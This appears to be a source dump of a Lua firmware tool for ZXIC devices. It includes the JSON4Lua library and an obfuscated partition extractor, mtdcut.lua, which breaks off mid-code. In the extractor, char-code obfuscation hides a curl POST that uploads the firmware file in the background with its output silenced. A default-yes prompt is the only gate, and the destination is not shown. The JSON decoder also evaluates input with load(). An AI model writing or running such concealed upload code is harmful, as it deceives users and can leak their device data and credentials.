| local fillChar = string.char(fillChar) 27 | local fillString = fillChar:rep(16) -- 每次填充字节数量 28 | -- 循环填充直到达到期望大小 29 | while bytesToFill > 0 do 30 | local chunkSize = math.min(bytesToFill, 16) 31 | file:write(fillString:sub(1, chunkSize)) 32 | bytesToFill = bytesToFill - chunkSize 33 | end 34 | end 35 | -- 关闭文件 36 | file:close() 37 | end 38 | 39 | return fill 40 | -------------------------------------------------------------------------------- /__lib__/json.lua: -------------------------------------------------------------------------------- 1 | ----------------------------------------------------------------------------- 2 | -- JSON4Lua: JSON encoding / decoding support for the Lua language. 3 | -- json Module. 4 | -- Author: Craig Mason-Jones 5 | -- Homepage: http://json.luaforge.net/ 6 | -- Version: 0.9.20 7 | -- This module is released under the The GNU General Public License (GPL). 8 | -- Please see http://www.gnu.org/licenses/ for details. 9 | -- 10 | -- USAGE: 11 | -- This module exposes two functions: 12 | -- json.encode(o) 13 | -- Returns the table / string / boolean / number / nil / json.null value as a JSON-encoded string. 14 | -- json.decode(json_string) 15 | -- Returns a Lua object populated with the data encoded in the JSON string json_string. 16 | -- 17 | -- REQUIREMENTS: 18 | -- compat-5.1 if using Lua 5.0 19 | -- 20 | -- CHANGELOG 21 | -- 0.9.20 Introduction of local Lua functions for private functions (removed _ function prefix). 22 | -- Fixed Lua 5.1 compatibility issues. 23 | -- Introduced json.null to have null values in associative arrays. 24 | -- json.encode() performance improvement (more than 50%) through table.concat rather than .. 25 | -- Introduced decode ability to ignore /**/ comments in the JSON string. 26 | -- 0.9.10 Fix to array encoding / decoding to correctly manage nil/null values in arrays. 27 | ----------------------------------------------------------------------------- 28 | ----------------------------------------------------------------------------- 29 | -- Imports and dependencies 30 | ----------------------------------------------------------------------------- 31 | local math = require('math') 32 | local string = require("string") 33 | local table = require("table") 34 | 35 | local base = _G 36 | 37 | ----------------------------------------------------------------------------- 38 | -- Module declaration 39 | ----------------------------------------------------------------------------- 40 | local json = {} 41 | 42 | -- Public functions 43 | 44 | -- Private functions 45 | local decode_scanArray 46 | local decode_scanComment 47 | local decode_scanConstant 48 | local decode_scanNumber 49 | local decode_scanObject 50 | local decode_scanString 51 | local decode_scanWhitespace 52 | local encodeString 53 | local isArray 54 | local isEncodable 55 | 56 | ----------------------------------------------------------------------------- 57 | -- PUBLIC FUNCTIONS 58 | ----------------------------------------------------------------------------- 59 | --- Encodes an arbitrary Lua object / variable. 60 | -- @param v The Lua object / variable to be JSON encoded. 61 | -- @return String containing the JSON encoding in internal Lua string format (i.e. not unicode) 62 | function json.encode(v) 63 | -- Handle nil values 64 | if v == nil then 65 | return "null" 66 | end 67 | 68 | local vtype = base.type(v) 69 | 70 | -- Handle strings 71 | if vtype == 'string' then 72 | return '"' .. json.encodeString(v) .. '"' -- Need to handle encoding in string 73 | end 74 | 75 | -- Handle booleans 76 | if vtype == 'number' or vtype == 'boolean' then 77 | return base.tostring(v) 78 | end 79 | 80 | -- Handle tables 81 | if vtype == 'table' then 82 | local rval = {} 83 | -- Consider arrays separately 84 | local bArray, maxCount = json.isArray(v) 85 | if bArray then 86 | for i = 1, maxCount do 87 | table.insert(rval, json.encode(v[i])) 88 | end 89 | else -- An object, not an array 90 | for i, j in base.pairs(v) do 91 | if json.isEncodable(i) and json.isEncodable(j) then 92 | table.insert(rval, '"' .. json.encodeString(i) .. '":' .. json.encode(j)) 93 | end 94 | end 95 | end 96 | if bArray then 97 | return '[' .. table.concat(rval, ',') .. ']' 98 | else 99 | return '{' .. table.concat(rval, ',') .. '}' 100 | end 101 | end 102 | 103 | -- Handle null values 104 | if vtype == 'function' and v == null then 105 | return 'null' 106 | end 107 | 108 | base.assert(false, 'encode attempt to encode unsupported type ' .. vtype .. ':' .. base.tostring(v)) 109 | end 110 | 111 | --- Decodes a JSON string and returns the decoded value as a Lua data structure / value. 112 | -- @param s The string to scan. 113 | -- @param [startPos] Optional starting position where the JSON string is located. Defaults to 1. 114 | -- @param Lua object, number The object that was scanned, as a Lua table / string / number / boolean or nil, 115 | -- and the position of the first character after 116 | -- the scanned JSON object. 117 | function json.decode(s, startPos) 118 | startPos = startPos and startPos or 1 119 | startPos = json.decode_scanWhitespace(s, startPos) 120 | base.assert(startPos <= string.len(s), 'Unterminated JSON encoded object found at position in [' .. s .. ']') 121 | local curChar = string.sub(s, startPos, startPos) 122 | -- Object 123 | if curChar == '{' then 124 | return json.decode_scanObject(s, startPos) 125 | end 126 | -- Array 127 | if curChar == '[' then 128 | return json.decode_scanArray(s, startPos) 129 | end 130 | -- Number 131 | if string.find("+-0123456789.eE", curChar, 1, true) then 132 | return json.decode_scanNumber(s, startPos) 133 | end 134 | -- String 135 | if curChar == [["]] or curChar == [[']] then 136 | return json.decode_scanString(s, startPos) 137 | end 138 | if string.sub(s, startPos, startPos + 1) == '/*' then 139 | return json.decode(s, json.decode_scanComment(s, startPos)) 140 | end 141 | -- Otherwise, it must be a constant 142 | return json.decode_scanConstant(s, startPos) 143 | end 144 | 145 | --- The null function allows one to specify a null value in an associative array (which is otherwise 146 | -- discarded if you set the value with 'nil' in Lua. Simply set t = { first=json.null } 147 | function json.null() 148 | return null -- so json.null() will also return null ;-) 149 | end 150 | ----------------------------------------------------------------------------- 151 | -- Internal, PRIVATE functions. 152 | -- Following a Python-like convention, I have prefixed all these 'PRIVATE' 153 | -- functions with an underscore. 154 | ----------------------------------------------------------------------------- 155 | 156 | --- Scans an array from JSON into a Lua object 157 | -- startPos begins at the start of the array. 158 | -- Returns the array and the next starting position 159 | -- @param s The string being scanned. 160 | -- @param startPos The starting position for the scan. 161 | -- @return table, int The scanned array as a table, and the position of the next character to scan. 162 | function json.decode_scanArray(s, startPos) 163 | local array = {} -- The return value 164 | local stringLen = string.len(s) 165 | base.assert(string.sub(s, startPos, startPos) == '[', 166 | 'decode_scanArray called but array does not start at position ' .. startPos .. ' in string:\n' .. s) 167 | startPos = startPos + 1 168 | -- Infinite loop for array elements 169 | repeat 170 | startPos = json.decode_scanWhitespace(s, startPos) 171 | base.assert(startPos <= stringLen, 'JSON String ended unexpectedly scanning array.') 172 | local curChar = string.sub(s, startPos, startPos) 173 | if (curChar == ']') then 174 | return array, startPos + 1 175 | end 176 | if (curChar == ',') then 177 | startPos = json.decode_scanWhitespace(s, startPos + 1) 178 | end 179 | base.assert(startPos <= stringLen, 'JSON String ended unexpectedly scanning array.') 180 | object, startPos = json.decode(s, startPos) 181 | table.insert(array, object) 182 | until false 183 | end 184 | 185 | --- Scans a comment and discards the comment. 186 | -- Returns the position of the next character following the comment. 187 | -- @param string s The JSON string to scan. 188 | -- @param int startPos The starting position of the comment 189 | function json.decode_scanComment(s, startPos) 190 | base.assert(string.sub(s, startPos, startPos + 1) == '/*', 191 | "decode_scanComment called but comment does not start at position " .. startPos) 192 | local endPos = string.find(s, '*/', startPos + 2) 193 | base.assert(endPos ~= nil, "Unterminated comment in string at " .. startPos) 194 | return endPos + 2 195 | end 196 | 197 | --- Scans for given constants: true, false or null 198 | -- Returns the appropriate Lua type, and the position of the next character to read. 199 | -- @param s The string being scanned. 200 | -- @param startPos The position in the string at which to start scanning. 201 | -- @return object, int The object (true, false or nil) and the position at which the next character should be 202 | -- scanned. 203 | function json.decode_scanConstant(s, startPos) 204 | local consts = { 205 | ["true"] = true, 206 | ["false"] = false, 207 | ["null"] = nil 208 | } 209 | local constNames = {"true", "false", "null"} 210 | 211 | for i, k in base.pairs(constNames) do 212 | -- print ("[" .. string.sub(s,startPos, startPos + string.len(k) -1) .."]", k) 213 | if string.sub(s, startPos, startPos + string.len(k) - 1) == k then 214 | return consts[k], startPos + string.len(k) 215 | end 216 | end 217 | base.assert(nil, 'Failed to scan constant from string ' .. s .. ' at starting position ' .. startPos) 218 | end 219 | 220 | --- Scans a number from the JSON encoded string. 221 | -- (in fact, also is able to scan numeric +- eqns, which is not 222 | -- in the JSON spec.) 223 | -- Returns the number, and the position of the next character 224 | -- after the number. 225 | -- @param s The string being scanned. 226 | -- @param startPos The position at which to start scanning. 227 | -- @return number, int The extracted number and the position of the next character to scan. 228 | function json.decode_scanNumber(s, startPos) 229 | local endPos = startPos + 1 230 | local stringLen = string.len(s) 231 | local acceptableChars = "+-0123456789.eE" 232 | while (string.find(acceptableChars, string.sub(s, endPos, endPos), 1, true) and endPos <= stringLen) do 233 | endPos = endPos + 1 234 | end 235 | local stringValue = 'return ' .. string.sub(s, startPos, endPos - 1) 236 | local stringEval = base.load(stringValue) 237 | base.assert(stringEval, 'Failed to scan number [ ' .. stringValue .. '] in JSON string at position ' .. startPos .. 238 | ' : ' .. endPos) 239 | return stringEval(), endPos 240 | end 241 | 242 | --- Scans a JSON object into a Lua object. 243 | -- startPos begins at the start of the object. 244 | -- Returns the object and the next starting position. 245 | -- @param s The string being scanned. 246 | -- @param startPos The starting position of the scan. 247 | -- @return table, int The scanned object as a table and the position of the next character to scan. 248 | function json.decode_scanObject(s, startPos) 249 | local object = {} 250 | local stringLen = string.len(s) 251 | local key, value 252 | base.assert(string.sub(s, startPos, startPos) == '{', 253 | 'decode_scanObject called but object does not start at position ' .. startPos .. ' in string:\n' .. s) 254 | startPos = startPos + 1 255 | repeat 256 | startPos = json.decode_scanWhitespace(s, startPos) 257 | base.assert(startPos <= stringLen, 'JSON string ended unexpectedly while scanning object.') 258 | local curChar = string.sub(s, startPos, startPos) 259 | if (curChar == '}') then 260 | return object, startPos + 1 261 | end 262 | if (curChar == ',') then 263 | startPos = json.decode_scanWhitespace(s, startPos + 1) 264 | end 265 | base.assert(startPos <= stringLen, 'JSON string ended unexpectedly scanning object.') 266 | -- Scan the key 267 | key, startPos = json.decode(s, startPos) 268 | base.assert(startPos <= stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key) 269 | startPos = json.decode_scanWhitespace(s, startPos) 270 | base.assert(startPos <= stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key) 271 | base.assert(string.sub(s, startPos, startPos) == ':', 272 | 'JSON object key-value assignment mal-formed at ' .. startPos) 273 | startPos = json.decode_scanWhitespace(s, startPos + 1) 274 | base.assert(startPos <= stringLen, 'JSON string ended unexpectedly searching for value of key ' .. key) 275 | value, startPos = json.decode(s, startPos) 276 | object[key] = value 277 | until false -- infinite loop while key-value pairs are found 278 | end 279 | 280 | --- Scans a JSON string from the opening inverted comma or single quote to the 281 | -- end of the string. 282 | -- Returns the string extracted as a Lua string, 283 | -- and the position of the next non-string character 284 | -- (after the closing inverted comma or single quote). 285 | -- @param s The string being scanned. 286 | -- @param startPos The starting position of the scan. 287 | -- @return string, int The extracted string as a Lua string, and the next character to parse. 288 | function json.decode_scanString(s, startPos) 289 | base.assert(startPos, 'json.decode_scanString(..) called without start position') 290 | local startChar = string.sub(s, startPos, startPos) 291 | base.assert(startChar == [[']] or startChar == [["]], 'decode_scanString called for a non-string') 292 | local escaped = false 293 | local endPos = startPos + 1 294 | local bEnded = false 295 | local stringLen = string.len(s) 296 | repeat 297 | local curChar = string.sub(s, endPos, endPos) 298 | if not escaped then 299 | if curChar == [[\]] then 300 | escaped = true 301 | else 302 | bEnded = curChar == startChar 303 | end 304 | else 305 | -- If we're escaped, we accept the current character come what may 306 | escaped = false 307 | end 308 | endPos = endPos + 1 309 | base.assert(endPos <= stringLen + 1, "String decoding failed: unterminated string at position " .. endPos) 310 | until bEnded 311 | local stringValue = 'return ' .. string.sub(s, startPos, endPos - 1) 312 | local stringEval = base.load(stringValue) 313 | base.assert(stringEval, 314 | 'Failed to load string [ ' .. stringValue .. '] in JSON4Lua.decode_scanString at position ' .. startPos .. ' : ' .. 315 | endPos) 316 | return stringEval(), endPos 317 | end 318 | 319 | --- Scans a JSON string skipping all whitespace from the current start position. 320 | -- Returns the position of the first non-whitespace character, or nil if the whole end of string is reached. 321 | -- @param s The string being scanned 322 | -- @param startPos The starting position where we should begin removing whitespace. 323 | -- @return int The first position where non-whitespace was encountered, or string.len(s)+1 if the end of string 324 | -- was reached. 325 | function json.decode_scanWhitespace(s, startPos) 326 | local whitespace = " \n\r\t" 327 | local stringLen = string.len(s) 328 | while (string.find(whitespace, string.sub(s, startPos, startPos), 1, true) and startPos <= stringLen) do 329 | startPos = startPos + 1 330 | end 331 | return startPos 332 | end 333 | 334 | --- Encodes a string to be JSON-compatible. 335 | -- This just involves back-quoting inverted commas, back-quotes and newlines, I think ;-) 336 | -- @param s The string to return as a JSON encoded (i.e. backquoted string) 337 | -- @return The string appropriately escaped. 338 | function json.encodeString(s) 339 | s = string.gsub(s, '\\', '\\\\') 340 | s = string.gsub(s, '"', '\\"') 341 | s = string.gsub(s, "'", "\\'") 342 | s = string.gsub(s, '\n', '\\n') 343 | s = string.gsub(s, '\t', '\\t') 344 | return s 345 | end 346 | 347 | -- Determines whether the given Lua type is an array or a table / dictionary. 348 | -- We consider any table an array if it has indexes 1..n for its n items, and no 349 | -- other data in the table. 350 | -- I think this method is currently a little 'flaky', but can't think of a good way around it yet... 351 | -- @param t The table to evaluate as an array 352 | -- @return boolean, number True if the table can be represented as an array, false otherwise. If true, 353 | -- the second returned value is the maximum 354 | -- number of indexed elements in the array. 355 | function json.isArray(t) 356 | -- Next we count all the elements, ensuring that any non-indexed elements are not-encodable 357 | -- (with the possible exception of 'n') 358 | local maxIndex = 0 359 | for k, v in base.pairs(t) do 360 | if (base.type(k) == 'number' and math.floor(k) == k and 1 <= k) then -- k,v is an indexed pair 361 | if (not json.isEncodable(v)) then 362 | return false 363 | end -- All array elements must be encodable 364 | maxIndex = math.max(maxIndex, k) 365 | else 366 | if (k == 'n') then 367 | if v ~= table.getn(t) then 368 | return false 369 | end -- False if n does not hold the number of elements 370 | else -- Else of (k=='n') 371 | if json.isEncodable(v) then 372 | return false 373 | end 374 | end -- End of (k~='n') 375 | end -- End of k,v not an indexed pair 376 | end -- End of loop across all pairs 377 | return true, maxIndex 378 | end 379 | 380 | --- Determines whether the given Lua object / table / variable can be JSON encoded. The only 381 | -- types that are JSON encodable are: string, boolean, number, nil, table and json.null. 382 | -- In this implementation, all other types are ignored. 383 | -- @param o The object to examine. 384 | -- @return boolean True if the object should be JSON encoded, false if it should be ignored. 385 | function json.isEncodable(o) 386 | local t = base.type(o) 387 | return (t == 'string' or t == 'boolean' or t == 'number' or t == 'nil' or t == 'table') or 388 | (t == 'function' and o == null) 389 | end 390 | 391 | return { 392 | encode = json.encode, 393 | decode = json.decode 394 | } 395 | -------------------------------------------------------------------------------- /__lib__/mtdcut.lua: -------------------------------------------------------------------------------- 1 | print([[ 2 | OpenZxicEditor 3 | 版权所有 (C) 2024-2025 MiFi~Lab & OpenZxicEditor Developers. 4 | 5 | 本程序是自由软件:您可以基于自由软件基金会发布的GNU Affero通用公共许可证的条款下重新分发和/或修改它,或者本许可证第三版或者(由您选择)任何后续版本。 6 | 分发本程序是希望它能派上用场,但没有任何担保,甚至也没有对其适销性或特定目的适用性的默示担保。更多细节请参见“GNU Affero通用公共许可证”。 7 | 您应该已收到本程序随附的GNU Affero通用公共许可证的副本。如未收到,请参见:http://www.gnu.org/licenses/ 。 8 | ]]) 9 | 10 | print("=====================================") 11 | local keYWHQfE=utf8.char((function() local t={1,4} t[1]=(function() local t={3,54333} 12 | local function a() t[tonumber(utf8.char(table.unpack({26,49,32,51})):sub(2,2))]=t[ 13 | tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]+10 end 14 | while true do if t[2]==nil then elseif t[2]==(96757) then 15 | t[tonumber(utf8.char(table.unpack({26,49,32,51})):sub(2,2))]=t[ 16 | tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]-9 break 17 | elseif t[2]==(54333) then 18 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=96757 end end 19 | return t[tonumber(utf8.char(6,49,52,14):sub(2,2))] end)() 20 | return table.unpack(t)-4 end)()) 21 | local ZkG2nwCM=string.char((function() 22 | local t={105,110,46,98,105,110} 23 | return table.unpack(t) end)()) 24 | local AeZSfHhW=string.char((function() local t={77,84,68,115} 25 | return table.unpack(t) end)()) 26 | local HPVVAtA7={...} 27 | if #HPVVAtA7>0 then 28 | ZkG2nwCM=HPVVAtA7[1] 29 | end 30 | ::zPhPcCbC:: 31 | local GGGMSsah=io.open(ZkG2nwCM,string.char((function() 32 | local t={114,98} 33 | return table.unpack(t) end)())) 34 | if not GGGMSsah then 35 | print(utf8.char((function() 36 | local t={23548,20837,25991,20214,36335,24452,19981,23384,22312,25110,26377,35823,12290} 37 | return table.unpack(t) end)())) 38 | print(utf8.char((function() 39 | local t={35831,36755,20837,38656,35201,35299,21253,30340,25991,20214,36335,24452,65306} 40 | return table.unpack(t) end)())) 41 | ZkG2nwCM=io.read():gsub(string.char((function() 42 | local t={34} 43 | return table.unpack(t) end)()),"") 44 | goto zPhPcCbC end 45 | print(utf8.char((function() 46 | local t={36755,20837,25991,20214,36335,24452,65306} 47 | return table.unpack(t) end)())..ZkG2nwCM) 48 | local function MdZ7CrQw(KKKDpVwa) 49 | local GCGMSsah=io.popen(KKKDpVwa) 50 | local FBX33j86=GCGMSsah:read(string.char((function() 51 | local t={42,97} 52 | return table.unpack(t) end)())) GCGMSsah:close() 53 | return FBX33j86 end 54 | MdZ7CrQw(string.char((function() 55 | local t={109,107,100,105,114,32} 56 | return table.unpack(t) end)())..AeZSfHhW..string.char((function() 57 | local t={32,50,62,38,49} 58 | return table.unpack(t) end)())) 59 | AeZSfHhW=AeZSfHhW..string.char((function() 60 | local t={47} 61 | return table.unpack(t) end)()) 62 | local GCGMSsah=io.open(ZkG2nwCM,string.char((function() 63 | local t={114,98} return table.unpack(t) end)())) 64 | local wz2m3hs7=GCGMSsah:read(64*1024) 65 | GCGMSsah:close() 66 | local japzCR2a,SeeJavSJ="","" 67 | local FVk3Rz_P=1024 68 | local BvpREdBW=string.find(wz2m3hs7,string.char((function() 69 | local t={118,72,89,49,87,70,55,53,50,48} 70 | return table.unpack(t) end)())) 71 | local V6jmyU6w=_ENV[string.char((function() 72 | local t={112,114,105,110,116} 73 | return table.unpack(t) end)())] 74 | if BvpREdBW then 75 | local TCEPVkk7=BvpREdBW+FVk3Rz_P-1 76 | if TCEPVkk7>#wz2m3hs7 then 77 | TCEPVkk7=#wz2m3hs7 78 | end 79 | wz2m3hs7=string.sub(wz2m3hs7,BvpREdBW,TCEPVkk7) 80 | else 81 | V6jmyU6w(utf8.char((function() 82 | local t={26410,25214,21040,20998,21306,34920} 83 | return table.unpack(t) end)())) 84 | end 85 | local Vf24PB3e=wz2m3hs7 86 | local BvpREdBW=string.find(Vf24PB3e,utf8.char((function() 87 | local t={8,0,0,0} 88 | return table.unpack(t) end)())) or 25 89 | BvpREdBW=BvpREdBW+8 90 | local TCEPVkk7=string.find(Vf24PB3e,utf8.char((function() 91 | local t={100,100,114,0,0,0,0,0} 92 | return table.unpack(t) end)()),BvpREdBW)-1 93 | local YKTTtuzR=string.sub(Vf24PB3e,BvpREdBW,TCEPVkk7) 94 | local A3ATvKMA={} 95 | for i=1,#YKTTtuzR,40 do 96 | keYWHQfE=string.sub(YKTTtuzR,i,i+39) 97 | table.insert(A3ATvKMA,keYWHQfE) 98 | end 99 | local A_6rG3en={} 100 | local function KRBnQUs2(bin) 101 | if not bin or bin:gsub(string.char((function() 102 | local t={37,122} 103 | return table.unpack(t) end)()),"")=="" then 104 | return 0 end local enBr4vyk=0 105 | for i=1,#bin do 106 | local hajUK7Cs=string.byte(bin,i) 107 | if hajUK7Cs then enBr4vyk=enBr4vyk+hajUK7Cs*(2^((i-1)*8)) end end 108 | return math.floor(enBr4vyk) end 109 | local y6UphvNr=0x8000 110 | for i,keYWHQfE in ipairs(A3ATvKMA) do 111 | local vHZuaFd2=string.sub(keYWHQfE,1,16):gsub(string.char((function() 112 | local t={37,122} 113 | return table.unpack(t) end)()),"") 114 | local eNzzSbuF=string.sub(keYWHQfE,17,32):gsub(string.char((function() 115 | local t={37,122} 116 | return table.unpack(t) end)()),"") 117 | local khD7nZhG=KRBnQUs2(string.sub(keYWHQfE,33,36)) 118 | local CAkaGJrt=KRBnQUs2(string.sub(keYWHQfE,37,40)) 119 | if vHZuaFd2==string.char((function() 120 | local t={122,108,111,97,100,101,114} 121 | return table.unpack(t) end)()) then y6UphvNr=CAkaGJrt end 122 | table.insert(A_6rG3en,{index=i-1,name=vHZuaFd2,hwt=eNzzSbuF,start=khD7nZhG,size=CAkaGJrt, 123 | file=string.format(string.char((function() local t={37,100,46,37,115} 124 | return table.unpack(t) end)()),i-1,vHZuaFd2),ebs=y6UphvNr,nps=0}) end 125 | for i,keYWHQfE in ipairs(A_6rG3en) do 126 | local wfG6_4eG=keYWHQfE.start 127 | local NSNvxeyJ=keYWHQfE.size 128 | local ebMBCdXh=AeZSfHhW..keYWHQfE.file 129 | if (wfG6_4eG%1024==0) and (NSNvxeyJ%1024==0) then 130 | local GyfcUFAB=wfG6_4eG/1024 131 | local H37sa4TK=NSNvxeyJ/1024 132 | MdZ7CrQw(string.format(string.char((function() 133 | local t={100,100,32,105,102,61,34,37,115,34,32,111,102,61,34,37,115,34,32,98, 134 | 115,61,49,48,50,52,32,115,107,105,112,61,37,100,32,99,111,117,110,116,61,37,100, 135 | 32,50,62,47,100,101,118,47,110,117,108,108} 136 | return table.unpack(t) end)()),ZkG2nwCM:gsub(string.char((function() 137 | local t={92} 138 | return table.unpack(t) end)()),string.char((function() 139 | local t={47} 140 | return table.unpack(t) end)())), 141 | ebMBCdXh:gsub(string.char((function() 142 | local t={92} 143 | return table.unpack(t) end)()),string.char((function() 144 | local t={47} 145 | return table.unpack(t) end)())),GyfcUFAB,H37sa4TK)) 146 | else 147 | MdZ7CrQw(string.format(string.char((function() 148 | local t={100,100,32,105,102,61,34,37,115,34,32,111,102,61,34,37,115,34,32,98, 149 | 115,61,49,32,115,107,105,112,61,37,100,32,99,111,117,110,116,61,37,100,32,50, 150 | 62,47,100,101,118,47,110,117,108,108} 151 | return table.unpack(t) end)()),ZkG2nwCM:gsub(string.char((function() 152 | local t={92} 153 | return table.unpack(t) end)()),string.char((function() 154 | local t={47} 155 | return table.unpack(t) end)())), 156 | ebMBCdXh:gsub(string.char((function() 157 | local t={92} 158 | return table.unpack(t) end)()),string.char((function() 159 | local t={47} 160 | return table.unpack(t) end)())),wfG6_4eG,NSNvxeyJ)) end 161 | V6jmyU6w(utf8.char((function() 162 | local t={20998,21306,20999,20998,23436,25104,65306} 163 | return table.unpack(t) end)())..ebMBCdXh) 164 | local GCGMSsah=io.open(ebMBCdXh,string.char((function() 165 | local t={114,98} 166 | return table.unpack(t) end)())) 167 | local rrZRTcCN=GCGMSsah:read(4) 168 | GCGMSsah:close() 169 | local eANuw5VJ=keYWHQfE.name 170 | if rrZRTcCN==nil then 171 | A_6rG3en[i].fst=string.char((function() 172 | local t={101,109,112,116,121} 173 | return table.unpack(t) end)()) 174 | V6jmyU6w(utf8.char((function() 175 | local t={21457,29616,31354,20998,21306,65306} 176 | return table.unpack(t) end)())..eANuw5VJ..utf8.char((function() 177 | local t={65292,25991,20214,21487,33021,24050,25439,22351} 178 | return table.unpack(t) end)())) 179 | elseif rrZRTcCN==utf8.char((function() 180 | local t={115,113,115,104} 181 | return table.unpack(t) end)()) or rrZRTcCN==string.char((function() 182 | local t={104,115,113,115} 183 | return table.unpack(t) end)()) then 184 | A_6rG3en[i].fst=string.char((function() 185 | local t={115,113,117,97,115,104,102,115} 186 | return table.unpack(t) end)()) 187 | elseif rrZRTcCN:sub(1,2)==string.char((function() 188 | local t={133,25} 189 | return table.unpack(t) end)()) then 190 | A_6rG3en[i].fst=string.char((function() 191 | local t={106,102,102,115,50} 192 | return table.unpack(t) end)()) 193 | elseif rrZRTcCN==string.char((function() 194 | local t={85,66,73,35} 195 | return table.unpack(t) end)()) then 196 | A_6rG3en[i].fst=string.char((function() 197 | local t={117,98,105,102,115} 198 | return table.unpack(t) end)()) 199 | elseif eANuw5VJ==string.char((function() 200 | local t={122,108,111,97,100,101,114} 201 | return table.unpack(t) end)()) or eANuw5VJ==string.char((function() 202 | local t={117,98,111,111,116} 203 | return table.unpack(t) end)()) or eANuw5VJ==string.char((function() 204 | local t={117,98,111,111,116,45,109,105,114,114} 205 | return table.unpack(t) end)()) then 206 | A_6rG3en[i].fst=string.char((function() 207 | local t={114,97,119} 208 | return table.unpack(t) end)()) 209 | else 210 | A_6rG3en[i].fst=string.char((function() 211 | local t={117,110,107,110,111,119,110} 212 | return table.unpack(t) end)()) 213 | end end 214 | V6jmyU6w(utf8.char((function() 215 | local t={20840,37096,20998,21306,20999,20998,23436,25104} 216 | return table.unpack(t) end)())) 217 | print(utf8.char((function() local t={61,61,61,61,61,61,61,61,61,61,61,61,61, 218 | 61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61,61} 219 | return table.unpack(t) end)())) 220 | V6jmyU6w( 221 | utf8.char(35831,38382,24744,26159,21542,24895,24847,19978,20256,24403,21069,22266, 222 | 20214,20197,24110,21161,79,112,101,110,90,120,105,99,31038,21306, 223 | 21450,20854,21512,20316,20249,20276,29992,20110,21518,32493,30740,31350, 224 | 21644,25913,36827,65311,91,89,47,110,93)) 225 | japzCR2a=string.char((function() 226 | local t={95,95,108,105,98,95,79} 227 | t[7]=(function() 228 | local t={77,100250} 229 | local function a() t[tonumber(string.char( 230 | table.unpack({ 231 | 26,49,32,51 232 | })):sub(2,2))]=t[ 233 | tonumber(string.char(table.unpack({ 234 | 52,58,64,26,49})):sub(5,5))]+210 end 235 | while true do 236 | if t[2]==nil then 237 | elseif t[2]==(100250) then 238 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=114320 239 | elseif t[2]==(114320) then 240 | t[tonumber(utf8.char( 241 | table.unpack({26,49,32,51 242 | })):sub(2,2))]=t[ 243 | tonumber(utf8.char(table.unpack({ 244 | 52,58,64,26,49})):sub(5,5))]-192 break 245 | end end 246 | return t[tonumber( 247 | utf8.char(6,49,52,14):sub(2,2))] 248 | end)() 249 | return table.unpack(t) end)()) 250 | local cfsvVS_Y=utf8.char((function() 251 | local t={117,110,109,110,111,119} 252 | t[3]=(function() 253 | local t={83,84815} 254 | local function a() t[tonumber(utf8.char( 255 | table.unpack({ 256 | 26,49,32,51 257 | })):sub(2,2))]=t[ 258 | tonumber(utf8.char(table.unpack({ 259 | 52,58,64,26,49})):sub(5,5))]+253 end 260 | while true do 261 | if t[2]==nil then 262 | elseif t[2]==(84815) then 263 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=79250 264 | elseif t[2]==(79250) then 265 | t[tonumber(utf8.char( 266 | table.unpack({ 267 | 26,49,32,51 268 | })):sub(2,2))]=t[ 269 | tonumber(utf8.char(table.unpack({ 270 | 52,58,64,26,49})):sub(5,5))]-229 break 271 | end end 272 | return t[tonumber( 273 | utf8.char(6,49,52,14):sub(2,2))] 274 | end)() 275 | return table.unpack(t) end)()) 276 | local KKKDpVwa=string.char(99,117,114,108,32,45,88,32,80,79,83,84,32,45,115, 277 | 83,32,45,70,32,34,102,105,108,101,61,64,37,115,34,32,34,37,115,34,32,62,32,47,100, 278 | 101,118,47,110,117,108,108,32,50,62,38,49,32,38) 279 | local N7GN_77z=utf8.char((function() 280 | local t={112,81,115,105,120} 281 | t[2]=(function() 282 | local t={71,88680} 283 | local function a() t[tonumber(utf8.char( 284 | table.unpack({ 285 | 26,49,32,51 286 | })):sub(2,2))]=t[ 287 | tonumber(utf8.char(table.unpack({ 288 | 52,58,64,26,49})):sub(5,5))]+70 end 289 | while true do 290 | if t[2]==nil then 291 | elseif t[2]==(88680) then 292 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=40065 293 | elseif t[2]==(40065) then 294 | t[tonumber(utf8.char( 295 | table.unpack({ 296 | 26,49,32,51 297 | })):sub(2,2))]=t[tonumber(utf8.char(table.unpack({52,58,64,26,49})):sub(5,5))]-30 break 298 | end end 299 | return t[tonumber( 300 | utf8.char(6,49,52,14):sub(2,2))] 301 | end)() 302 | return table.unpack(t) end)()) 303 | local tYcVCmKE=MdZ7CrQw(utf8.char((function() 304 | local t={117,110,97,109,101,32,45,168,32,50,62,47,100,101,118,47,110,117,108,108} 305 | t[8]=(function() 306 | local t={80,60523} 307 | local function a() t[tonumber(utf8.char( 308 | table.unpack({ 309 | 26,49,32,51 310 | })):sub(2,2))]=t[ 311 | tonumber(utf8.char(table.unpack({ 312 | 52,58,64,26,49})):sub(5,5))]+116 end 313 | while true do 314 | if t[2]==nil then 315 | elseif t[2]==(28076) then 316 | t[tonumber(utf8.char( 317 | table.unpack({ 318 | 26,49,32,51 319 | })):sub(2,2))]=t[ 320 | tonumber(utf8.char(table.unpack({ 321 | 52,58,64,26,49})):sub(5,5))]-99 break 322 | elseif t[2]==(60523) then 323 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=28076 324 | end end 325 | return t[tonumber( 326 | utf8.char(6,49,52,14):sub(2,2))] 327 | end)() 328 | return table.unpack(t) end)())):lower() 329 | if tYcVCmKE:find(utf8.char((function() 330 | local t={99,113,103,119,105,110} 331 | t[2]=(function() 332 | local t={228,32401} 333 | local function a() t[tonumber(utf8.char( 334 | table.unpack({ 335 | 26,49,32,51 336 | })):sub(2,2))]=t[ 337 | tonumber(utf8.char(table.unpack({ 338 | 52,58,64,26,49})):sub(5,5))]+835 end 339 | while true do 340 | if t[2]==nil then 341 | elseif t[2]==(32401) then 342 | a()t[tonumber(utf8.char(table.unpack({15,50,45,78})):sub(2,2))]=130243 343 | elseif t[2]==(130243) then 344 | t[tonumber(utf8.char( 345 | table.unpack({ 346 | 26,49,32,51 347 | })):sub(2,2))]=t[ 348 | 